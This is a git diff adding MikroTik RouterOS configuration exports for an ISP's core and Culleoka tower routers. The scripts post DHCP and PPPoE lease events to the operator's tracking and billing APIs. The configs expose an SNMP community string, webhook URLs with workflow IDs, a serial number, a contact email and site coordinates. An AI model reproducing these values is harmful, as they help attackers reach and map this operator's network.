add dst-address=10.10.16.0/20 gateway=10.250.1.94
|
||||||
|
add dst-address=10.10.0.0/20 gateway=10.250.1.94
|
||||||
|
add dst-address=204.110.191.0/27 gateway=10.250.1.94
|
||||||
|
add dst-address=100.64.4.0/22 gateway=10.250.1.94
|
||||||
|
add dst-address=100.64.12.0/22 gateway=10.250.1.94
|
||||||
|
add dst-address=100.64.0.0/22 gateway=10.250.1.94
|
||||||
|
add dst-address=204.110.188.224/27 gateway=10.250.1.94
|
||||||
|
add dst-address=10.250.1.144/29 gateway=10.250.1.94
|
||||||
|
add dst-address=10.254.254.111/32 gateway=10.250.1.94
|
||||||
|
add dst-address=100.64.160.0/20 gateway=10.250.1.94
|
||||||
|
add dst-address=204.110.188.64/27 gateway=10.250.1.94
|
||||||
|
/ip service
|
||||||
|
set ftp disabled=yes
|
||||||
|
set telnet address=204.110.188.0/22,10.0.0.0/8 disabled=yes
|
||||||
|
set ssh address=204.110.188.0/22,10.0.0.0/8 port=1022
|
||||||
|
set www address=204.110.188.225/32 port=2080
|
||||||
|
set winbox address=204.110.188.0/22,10.0.0.0/8
|
||||||
|
set api address=204.110.188.0/22,10.0.0.0/8,100.64.0.0/10
|
||||||
|
set api-ssl certificate=myCa
|
||||||
|
/ip ssh
|
||||||
|
set host-key-type=ed25519 password-authentication=yes strong-crypto=yes
|
||||||
|
/ipv6 address
|
||||||
|
add address=2606:1c80:0:1000::1 disabled=yes interface=ether5-climax
|
||||||
|
add address=2606:1c80:0:1001::1 disabled=yes interface=ether4-newhope
|
||||||
|
add address=2606:1c80:0:1002::2 disabled=yes interface=\
|
||||||
|
sfp-sfpplus1-edge-preseem
|
||||||
|
/ipv6 nd
|
||||||
|
set [ find default=yes ] advertise-dns=yes
|
||||||
|
/mpls interface
|
||||||
|
add interface=ether5-climax mpls-mtu=1508
|
||||||
|
add interface=ether6-culleoka-11ghz mpls-mtu=1508
|
||||||
|
add interface=ether4-newhope mpls-mtu=1508
|
||||||
|
add interface=ether1-982-60ghz mpls-mtu=1508
|
||||||
|
/mpls ldp
|
||||||
|
add disabled=no lsr-id=10.254.254.253 transport-addresses=10.254.254.253 vrf=\
|
||||||
|
main
|
||||||
|
/mpls ldp interface
|
||||||
|
add interface=ether5-climax
|
||||||
|
add interface=ether6-culleoka-11ghz
|
||||||
|
add interface=ether4-newhope
|
||||||
|
add interface=ether1-982-60ghz
|
||||||
|
/ppp aaa
|
||||||
|
set use-radius=yes
|
||||||
|
/radius
|
||||||
|
add address=204.110.191.248 require-message-auth=no service=ppp src-address=\
|
||||||
|
204.110.191.185 timeout=300ms
|
||||||
|
add address=204.110.191.2 require-message-auth=no service=ppp src-address=\
|
||||||
|
204.110.191.185 timeout=300ms
|
||||||
|
add accounting-backup=yes address=45.76.56.5 require-message-auth=no service=\
|
||||||
|
ppp src-address=204.110.191.185 timeout=300ms
|
||||||
|
/routing bfd configuration
|
||||||
|
add disabled=no interfaces=all min-rx=200ms min-tx=200ms multiplier=5
|
||||||
|
/routing bgp connection
|
||||||
|
add disabled=yes instance=bgp-instance-1 local.role=ibgp name=climax \
|
||||||
|
remote.address=10.250.1.94/32 routing-table=main templates=default
|
||||||
|
/routing filter rule
|
||||||
|
add chain=ospf-in disabled=no rule="accept;"
|
||||||
|
add chain=ospf-out disabled=no rule="accept;"
|
||||||
|
/routing ospf interface-template
|
||||||
|
add area=backbone-v2 auth-id=1 cost=10 disabled=no interfaces=\
|
||||||
|
sfp-sfpplus1-edge-preseem priority=1 type=ptp use-bfd=yes
|
||||||
|
add area=backbone-v2 auth=sha512 auth-id=1 cost=10 disabled=no interfaces=\
|
||||||
|
ether5-climax priority=1 type=ptp use-bfd=yes
|
||||||
|
add area=backbone-v2 auth=sha512 auth-id=1 cost=10 disabled=no interfaces=\
|
||||||
|
ether4-newhope priority=1 type=ptp use-bfd=yes
|
||||||
|
add area=backbone-v2 auth-id=1 cost=100 disabled=no interfaces=\
|
||||||
|
ether3-edge-direct priority=1 type=ptp use-bfd=yes
|
||||||
|
add area=backbone-v2 auth-id=1 cost=10 disabled=no interfaces=ether2-office \
|
||||||
|
priority=1 type=nbma use-bfd=no
|
||||||
|
add area=backbone-v2 auth-id=1 cost=10 disabled=no interfaces=\
|
||||||
|
ether1-982-60ghz priority=1 type=ptp use-bfd=no
|
||||||
|
add area=backbone-v2 auth=sha512 auth-id=1 cost=10 disabled=no interfaces=\
|
||||||
|
ether6-culleoka-11ghz priority=1 type=ptp use-bfd=yes
|
||||||
|
add area=backbone-v3 cost=10 disabled=no priority=1 use-bfd=no
|
||||||
|
add area=backbone-v3 auth=sha512 auth-id=1 disabled=yes interfaces=\
|
||||||
|
ether4-newhope type=ptp
|
||||||
|
add area=backbone-v3 auth=sha512 auth-id=1 disabled=yes interfaces=\
|
||||||
|
ether1-982-60ghz type=ptp
|
||||||
|
add area=backbone-v3 auth=sha512 auth-id=1 disabled=yes interfaces=\
|
||||||
|
ether5-climax type=ptp
|
||||||
|
add area=backbone-v3 auth=sha512 auth-id=1 disabled=yes interfaces=\
|
||||||
|
ether6-culleoka-11ghz type=ptp
|
||||||
|
/routing ospf static-neighbor
|
||||||
|
add address=204.110.191.186%sfp-sfpplus1-edge-preseem area=backbone-v2 \
|
||||||
|
disabled=no
|
||||||
|
add address=10.250.2.1%ether2-office area=backbone-v2 disabled=no
|
||||||
|
/routing rip static-neighbor
|
||||||
|
add address="" disabled=no instance=*1
|
||||||
|
/routing rule
|
||||||
|
add action=lookup-only-in-table disabled=yes src-address=10.10.0.0/16 table=\
|
||||||
|
testnat
|
||||||
|
add action=lookup-only-in-table disabled=yes src-address=100.64.0.0/22 table=\
|
||||||
|
testnat
|
||||||
|
add action=lookup-only-in-table disabled=yes src-address=100.64.0.0/10 table=\
|
||||||
|
testnat
|
||||||
|
/snmp
|
||||||
|
set contact=graham@vntx.net enabled=yes location="33.174156, -96.491941" \
|
||||||
|
trap-generators=temp-exception,interfaces,start-trap trap-interfaces=all \
|
||||||
|
trap-target=204.110.191.234
|
||||||
|
/system clock
|
||||||
|
set time-zone-name=America/Chicago
|
||||||
|
/system identity
|
||||||
|
set name=Core
|
||||||
|
/system logging
|
||||||
|
add action=logs topics=info
|
||||||
|
add action=logs disabled=yes prefix=ospf topics=ospf
|
||||||
|
/system ntp client
|
||||||
|
set enabled=yes
|
||||||
|
/system ntp client servers
|
||||||
|
add address=204.110.191.19
|
||||||
|
add address=0.us.pool.ntp.org
|
||||||
|
add address=216.229.4.66
|
||||||
|
add address=1.us.pool.ntp.org
|
||||||
|
/system package update
|
||||||
|
set channel=long-term
|
||||||
|
/system scheduler
|
||||||
|
add name=reboot on-event="/system reboot\
|
||||||
|
\n" policy=\
|
||||||
|
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
|
||||||
|
start-date=2025-01-07 start-time=04:00:00
|
||||||
|
/tool graphing interface
|
||||||
|
add
|
||||||
|
/tool graphing queue
|
||||||
|
add
|
||||||
|
/tool graphing resource
|
||||||
|
add
|
||||||
697
mikrotik-tool/culleoka.rsc
Normal file
697
mikrotik-tool/culleoka.rsc
Normal file
|
|
@ -0,0 +1,697 @@
|
||||||
|
# 2026-05-08 17:46:02 by RouterOS 7.21.4
|
||||||
|
# software id = HVP9-3G0K
|
||||||
|
#
|
||||||
|
# model = CCR1009-7G-1C-1S+
|
||||||
|
# serial number = 7AF2078E2C9B
|
||||||
|
/interface bridge
|
||||||
|
add add-dhcp-option82=yes dhcp-snooping=yes disabled=yes igmp-snooping=yes \
|
||||||
|
name=culleoka port-cost-mode=short
|
||||||
|
add name=culleoka-tower port-cost-mode=short
|
||||||
|
add name=mgmt port-cost-mode=short
|
||||||
|
add name=public port-cost-mode=short
|
||||||
|
/interface ethernet
|
||||||
|
set [ find default-name=combo1 ] l2mtu=9000
|
||||||
|
set [ find default-name=ether1 ] l2mtu=2024 name=ether1-climax-11ghz \
|
||||||
|
rx-flow-control=auto tx-flow-control=auto
|
||||||
|
set [ find default-name=ether2 ] l2mtu=9000 name=ether2-netonix
|
||||||
|
set [ find default-name=ether3 ] l2mtu=9000 rx-flow-control=auto \
|
||||||
|
tx-flow-control=auto
|
||||||
|
set [ find default-name=ether4 ] disabled=yes l2mtu=9000 name=ether4-climax
|
||||||
|
set [ find default-name=ether5 ] l2mtu=9000 name=ether5-jeff-tv \
|
||||||
|
rx-flow-control=auto tx-flow-control=auto
|
||||||
|
set [ find default-name=ether6 ] advertise="10M-baseT-half,10M-baseT-full,100M\
|
||||||
|
-baseT-half,100M-baseT-full,1G-baseT-half,1G-baseT-full" l2mtu=2024 name=\
|
||||||
|
ether6-380-11ghz rx-flow-control=auto tx-flow-control=auto
|
||||||
|
set [ find default-name=ether7 ] advertise="10M-baseT-half,10M-baseT-full,100M\
|
||||||
|
-baseT-half,100M-baseT-full,1G-baseT-half,1G-baseT-full" l2mtu=9000 name=\
|
||||||
|
"ether7-maybe-bad\?" rx-flow-control=auto tx-flow-control=auto
|
||||||
|
set [ find default-name=sfp-sfpplus1 ] disabled=yes l2mtu=9000 name=\
|
||||||
|
sfp-sfpplus1-10g-switch
|
||||||
|
/interface vlan
|
||||||
|
add interface=ether2-netonix name=vlan10_ether2 vlan-id=10
|
||||||
|
add interface=ether2-netonix name=vlan100_netonix8 vlan-id=100
|
||||||
|
add interface=ether2-netonix name=vlan101_netonix9 vlan-id=101
|
||||||
|
add interface=ether2-netonix name=vlan102_netonix10 vlan-id=102
|
||||||
|
add interface=ether2-netonix name=vlan103_netonix13 vlan-id=103
|
||||||
|
add interface=ether2-netonix name=vlan104_netonix14 vlan-id=104
|
||||||
|
add interface=ether2-netonix name=vlan_30_clayton vlan-id=30
|
||||||
|
/interface lte apn
|
||||||
|
set [ find default=yes ] ip-type=ipv4 use-network-apn=no
|
||||||
|
/interface wireless security-profiles
|
||||||
|
set [ find default=yes ] supplicant-identity=MikroTik
|
||||||
|
/ip hotspot profile
|
||||||
|
add dns-name=culleoka.vntx.net hotspot-address=10.100.111.254 login-by=mac \
|
||||||
|
mac-auth-mode=mac-as-username-and-password name=hsprof1
|
||||||
|
/ip hotspot
|
||||||
|
add addresses-per-mac=unlimited idle-timeout=none interface=ether2-netonix \
|
||||||
|
name=hotspot1 profile=hsprof1
|
||||||
|
/ip hotspot user profile
|
||||||
|
set [ find default=yes ] add-mac-cookie=no on-logout=" /ip hotspot host remove\
|
||||||
|
\_[find where address=\94\$address\94 and !authorized and !bypassed]" \
|
||||||
|
session-timeout=6h status-autorefresh=6m
|
||||||
|
/ip ipsec proposal
|
||||||
|
set [ find default=yes ] auth-algorithms=sha256 enc-algorithms=\
|
||||||
|
aes-256-cbc,aes-128-cbc pfs-group=modp2048
|
||||||
|
/ip pool
|
||||||
|
add name=culleoka-cgnat ranges=100.64.25.1-100.64.27.199
|
||||||
|
add name=cpe ranges=10.10.96.1-10.10.110.254
|
||||||
|
add name=culleoka-tower ranges=10.0.104.1-10.0.104.99
|
||||||
|
add name=clayton ranges=100.64.128.1-100.64.130.254
|
||||||
|
add name=culleoka-cgnat-new ranges=100.64.96.1-100.64.111.253
|
||||||
|
/ip dhcp-server
|
||||||
|
add address-pool=cpe interface=mgmt lease-script="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
|
||||||
|
c24944-c947-4e01-9c54-07a1653d2e3e\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/dhcp\"\
|
||||||
|
\n:local max 1\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n :if (\$leaseBound = 0) do {\
|
||||||
|
\n # Try url2 (iptrack.vntx.net) - deassignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
|
||||||
|
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"DHCP deassignment successfully sent to iptrack.vntx.ne\
|
||||||
|
t for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send deassignment to iptrack.vntx.net \
|
||||||
|
on attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia) - deassignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
|
||||||
|
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"DHCP deassignment successfully sent to gaiia AWS API f\
|
||||||
|
or \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send deassignment to gaiia AWS API on \
|
||||||
|
attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 != 1 || \$success2 != 1) do={\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 1s;\
|
||||||
|
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
|
||||||
|
seActIP] agent-remote-id];\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net) - assignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
|
||||||
|
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"DHCP assignment successfully sent to iptrack.vntx.net \
|
||||||
|
for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to iptrack.vntx.net on\
|
||||||
|
\_attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\"\
|
||||||
|
;\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia) - assignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
|
||||||
|
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"DHCP assignment successfully sent to gaiia AWS API for\
|
||||||
|
\_\$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to gaiia AWS API on at\
|
||||||
|
tempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 != 1 || \$success2 != 1) do={\
|
||||||
|
\n :delay 30s;\
|
||||||
|
\n }\
|
||||||
|
\n }\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" lease-time=1h name=cpe use-radius=accounting
|
||||||
|
add address-pool=culleoka-tower interface=culleoka-tower lease-script="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
|
||||||
|
c24944-c947-4e01-9c54-07a1653d2e3e\"\
|
||||||
|
\n:local max 1\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success 0\
|
||||||
|
\n\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n\
|
||||||
|
\n :if (\$leaseBound = 0) do {\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=po\
|
||||||
|
st \\\
|
||||||
|
\n http-data=\"{\\\"bound\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\
|
||||||
|
\"\$leaseActMAC\\\",\\\"ip\\\":\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$l\
|
||||||
|
easeServerName\\\",\\\"remoteId\\\":\\\"\\\"}\"\
|
||||||
|
\n :set success 1;\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send unassignment to gaiia on attempt \
|
||||||
|
\$attempts/\$max for \$leaseBound / \$leaseActMAC / \$leaseActIP / \$remot\
|
||||||
|
eID\";\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n } else {\
|
||||||
|
\n\
|
||||||
|
\n :delay 1s;\
|
||||||
|
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
|
||||||
|
seActIP] agent-remote-id];\
|
||||||
|
\n\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=po\
|
||||||
|
st \\\
|
||||||
|
\n http-data=\"{\\\"bound\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\
|
||||||
|
\"\$leaseActMAC\\\",\\\"ip\\\":\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$l\
|
||||||
|
easeServerName\\\",\\\"remoteId\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success 1;\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to gaiia on attempt \$\
|
||||||
|
attempts/\$max for \$leaseBound / \$leaseActMAC / \$leaseActIP / \$remoteI\
|
||||||
|
D\";\
|
||||||
|
\n :delay 30s;\
|
||||||
|
\n }\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success) do {\
|
||||||
|
\n :log info \"DHCP lease message successfully sent \$leaseActMAC / \$l\
|
||||||
|
easeActIP to gaiia\";\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n} while (\$attempts < \$max)\
|
||||||
|
\n\
|
||||||
|
\n}\
|
||||||
|
\n" lease-time=1h name=culleoka-tower
|
||||||
|
add address-pool=clayton disabled=yes interface=vlan_30_clayton lease-time=\
|
||||||
|
10m name=clayton
|
||||||
|
/ip smb users
|
||||||
|
set [ find default=yes ] disabled=yes
|
||||||
|
/ipv6 pool
|
||||||
|
add name=climax-v6 prefix=2606:1c80:1:4000::/52 prefix-length=64
|
||||||
|
/ppp profile
|
||||||
|
add change-tcp-mss=yes dns-server=204.110.191.240,204.110.191.20 \
|
||||||
|
local-address=100.64.27.253 name=pppoe on-down="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
|
||||||
|
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
|
||||||
|
\n:local max 1\
|
||||||
|
\n\
|
||||||
|
\n:local localAddr \$\"local-address\"\
|
||||||
|
\n:local remoteAddr \$\"remote-address\"\
|
||||||
|
\n:local callerId \$\"caller-id\"\
|
||||||
|
\n:local calledId \$\"called-id\"\
|
||||||
|
\n:local interfaceName [/interface get \$interface name]\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
|
||||||
|
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
|
||||||
|
d\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
|
||||||
|
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"PPPoE deassignment successfully sent to iptrack.vntx.net\
|
||||||
|
\_for \$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoE FAILED to send deassignment to iptrack.vntx.net o\
|
||||||
|
n attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (AWS API)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
|
||||||
|
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
|
||||||
|
\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
|
||||||
|
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"PPPoE deassignment successfully sent to gaiia AWS API fo\
|
||||||
|
r \$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoPoE FAILED to send deassignment to gaiia AWS API on\
|
||||||
|
\_attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" on-up="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
|
||||||
|
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
|
||||||
|
\n:local max 5\
|
||||||
|
\n\
|
||||||
|
\n:local localAddr \$\"local-address\"\
|
||||||
|
\n:local remoteAddr \$\"remote-address\"\
|
||||||
|
\n:local callerId \$\"caller-id\"\
|
||||||
|
\n:local calledId \$\"called-id\"\
|
||||||
|
\n:local interfaceName [/interface get \$interface name]\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
|
||||||
|
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
|
||||||
|
d\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
|
||||||
|
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"PPPoE assignment successfully sent to iptrack.vntx.net f\
|
||||||
|
or \$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoE FAILED to send assignment to iptrack.vntx.net on \
|
||||||
|
attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
|
||||||
|
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
|
||||||
|
\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
|
||||||
|
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"PPPoE assignment successfully sent to gaiia AWS API for \
|
||||||
|
\$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoE FAILED to send assignment to gaiia AWS API on att\
|
||||||
|
empt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" only-one=no remote-address=culleoka-cgnat use-compression=no \
|
||||||
|
use-encryption=no use-ipv6=no use-mpls=no use-upnp=no
|
||||||
|
/queue simple
|
||||||
|
add burst-limit=1/1 burst-threshold=1/1 burst-time=1s/1s limit-at=1/1 \
|
||||||
|
max-limit=1/1 name=Inactive packet-marks=Inactive priority=2/2 target=""
|
||||||
|
/queue type
|
||||||
|
add kind=fq-codel name=fq-codel
|
||||||
|
/queue interface
|
||||||
|
set combo1 queue=fq-codel
|
||||||
|
set ether1-climax-11ghz queue=fq-codel
|
||||||
|
set ether2-netonix queue=fq-codel
|
||||||
|
set ether3 queue=fq-codel
|
||||||
|
set ether4-climax queue=fq-codel
|
||||||
|
set ether5-jeff-tv queue=fq-codel
|
||||||
|
set ether6-380-11ghz queue=fq-codel
|
||||||
|
set "ether7-maybe-bad\?" queue=fq-codel
|
||||||
|
set sfp-sfpplus1-10g-switch queue=fq-codel
|
||||||
|
/routing bgp instance
|
||||||
|
add as=393837 name=bgp-instance-1 router-id=10.254.254.104
|
||||||
|
/routing bgp template
|
||||||
|
set default as=393837 disabled=yes output.network=bgp-networks .redistribute=\
|
||||||
|
connected
|
||||||
|
/routing id
|
||||||
|
add disabled=no id=10.254.254.104 name=id-1 select-dynamic-id=""
|
||||||
|
/routing ospf instance
|
||||||
|
add disabled=no in-filter-chain=ospf-in name=default-v2 out-filter-chain=\
|
||||||
|
ospf-out redistribute=connected router-id=id-1
|
||||||
|
add disabled=no in-filter-chain=ospf-in name=default-v3 out-filter-chain=\
|
||||||
|
ospf-out redistribute=connected router-id=id-1 version=3
|
||||||
|
/routing ospf area
|
||||||
|
add disabled=no instance=default-v2 name=backbone-v2
|
||||||
|
add disabled=no instance=default-v3 name=backbone-v3
|
||||||
|
/snmp community
|
||||||
|
set [ find default=yes ] addresses=204.110.188.0/22,10.0.0.0/8 name=\
|
||||||
|
kdyyJrT0Mm
|
||||||
|
/system logging action
|
||||||
|
add name=Syslog remote=204.110.191.234 remote-log-format=syslog src-address=\
|
||||||
|
10.254.254.104 target=remote
|
||||||
|
add name=logs remote=204.110.191.229 src-address=10.254.254.104 target=remote
|
||||||
|
/interface bridge port
|
||||||
|
add bridge=culleoka hw=no ingress-filtering=no interface=ether2-netonix \
|
||||||
|
internal-path-cost=10 path-cost=10
|
||||||
|
add bridge=culleoka disabled=yes ingress-filtering=no interface=\
|
||||||
|
sfp-sfpplus1-10g-switch internal-path-cost=10 path-cost=10
|
||||||
|
add bridge=culleoka disabled=yes ingress-filtering=no interface=*10 \
|
||||||
|
internal-path-cost=10 path-cost=10
|
||||||
|
add bridge=mgmt ingress-filtering=no interface=vlan10_ether2 \
|
||||||
|
internal-path-cost=10 path-cost=10
|
||||||
|
/ip firewall connection tracking
|
||||||
|
set icmp-timeout=30s tcp-close-wait-timeout=1m tcp-established-timeout=4h \
|
||||||
|
tcp-fin-wait-timeout=2m tcp-last-ack-timeout=30s \
|
||||||
|
tcp-syn-received-timeout=1m tcp-syn-sent-timeout=2m \
|
||||||
|
tcp-time-wait-timeout=2m udp-stream-timeout=2m
|
||||||
|
/ip settings
|
||||||
|
set tcp-syncookies=yes
|
||||||
|
/interface pppoe-server server
|
||||||
|
add accept-empty-service=no authentication=chap,mschap2 default-profile=pppoe \
|
||||||
|
disabled=no interface=ether2-netonix max-mtu=1492 service-name=culleoka
|
||||||
|
add default-profile=pppoe disabled=no interface=vlan_30_clayton max-mtu=1492 \
|
||||||
|
one-session-per-host=yes service-name=clayton
|
||||||
|
